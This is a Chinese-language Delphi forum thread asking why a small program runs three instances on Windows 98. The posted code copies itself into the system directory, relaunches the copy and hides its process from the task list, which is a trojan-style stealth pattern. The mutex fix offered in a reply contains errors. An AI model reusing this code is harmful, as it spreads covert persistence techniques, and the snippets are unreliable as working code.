帮忙看看。200分(200分)

  • 主题发起人 主题发起人 lovebobo
  • 开始时间 开始时间
L

lovebobo

Unregistered / Unconfirmed
GUEST, unregistred user!
program Project1;
uses
Windows,
SysUtils,
Messages;


var

WinClass: TWndClassA;
Inst, Handle: Integer;
Msg: TMsg;

{**********防止多个实例的运行 **********}
procedure KillPreviousForm;
var
PreviousForm:HWND;
begin
PreviousForm:=findwindow(nil,'yulihubot');
if PreviousForm <> 0
then
postmessage(PreviousForm,WM_QUIT,0,0);
end;




{**************隐身***************}
procedure My_SelfHide;
type
TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
var
hNdl: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin

hNdl := LoadLibrary('KERNEL32.DLL');
RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
FreeLibrary(hNdl);

end;

{**************消息回调处理************}
function WindowProc(hWnd, uMsg, wParam, lParam:Integer): Integer; stdcall; //回调消息函数
begin
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
if uMsg = WM_DESTROY then
Halt;
end;

{**********************建立窗口*******}
procedure MyBuildForm;
begin
Inst := hInstance;
with WinClass do
begin
style := CS_CLASSDC or CS_PARENTDC;
lpfnWndProc := @WindowProc;
hInstance := Inst;
hbrBackground := color_btnface + 1;
lpszClassname := 'AG_TESTWINDOW';
hCursor := LoadCursor(0, IDC_ARROW);
end; { with }
RegisterClass(WinClass);

//建立窗体;
Handle := CreateWindowEx(WS_EX_WINDOWEDGE, 'AG_TESTWINDOW', 'yulihubot',
WS_VISIBLE or WS_SIZEBOX or WS_CAPTION or WS_SYSMENU,
100, 101, 102, 110, 0, 0, Inst, nil);

UpdateWindow(Handle);
showwindow(handle,SW_SHOW); //消息循环;
while(GetMessage(Msg, Handle, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
end;

{********得到系统目录**********}
function MySysDir:string;
var
Systemdir: array[0..200] of char;
begin
GetSystemDirectory(systemdir, 200);
Result:=Systemdir;
end;

{****************复制自身************}
procedure CopyRun;

begin
{****************复制自身到系统目录并改名为myexe.exe************}
copyfile(pchar(ParamStr(0)), pchar(MySysDir+'/myexe.exe'),false);
Winexec(pchar(MySysDir +'/myexe.exe'), sw_show);
end;

begin
KillPreviousForm;//只运行一个实例

if (ParamStr(0) <> MySysDir+'/abc.exe')
then
begin
CopyRun;
halt;
end;
MyBuildForm; //建立窗体
if (findwindow(nil,'yulihubot')=0) then
My_SelfHide; //隐身
end.


这段程序为什么在2000成功运行一个实例.在98却是3个实例呢?
如果像在98也只运行单实例。要如何改呢?
 
不要用FindWindow防止多事例,效果太差,还是用互斥或者原子,或者Event什么的
文件隐射什么的也可以。
 
关注!详细的方法。
 
是病毒?/
 
采用互斥量吧,CreateMutex效果会更好。
Mutex: THandle;
procedure KillPreviousForm;
begin
Mutex:= CreateMutex(nil, false, 'yulihubot');
if GetLastError <> 0 then postmessage(PreviousForm,WM_QUIT,0,0);
end;

程序退出时用RleaseMutex(Mutex)释放互斥量,在CloseHandle(Mutex)
 
我刚才试了CreateMutex的办法。但在98下我运行了一次我在桌面生成的文件。还是运行了3个实例.
在别的电脑的98下试了也是一样。我生成的project1.exe成功退出。
但进程表的myexe.exe却有3个。
我只引用了一次WINEXEC,为什么却运行了3个实例呢?
CreateMutex的办法还是不能解决。
 
后退
顶部